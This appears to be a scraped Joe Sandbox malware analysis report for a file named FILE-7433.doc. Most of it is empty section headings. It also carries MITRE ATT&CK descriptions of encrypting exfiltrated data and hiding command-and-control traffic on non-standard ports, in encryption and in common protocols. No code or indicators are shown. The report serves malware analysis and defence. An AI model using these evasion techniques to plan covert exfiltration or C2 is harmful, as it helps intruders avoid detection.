Description:	Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Tactics:	Exfiltration
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report FILE-7433.doc

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Mitre Att&ck Matrix

Signature Overview

AV Detection:

Cryptography:

Spreading:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Signature Similarity

Similar Samples

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Static File Info

General

File Icon

Static OLE Info

General

OLE File "FILE-7433.doc"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Fbd61.cls, Stream Size: 984

General

VBA Code Keywords

VBA Code

VBA File Name: Hzk5.bas, Stream Size: 672

Description:	Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre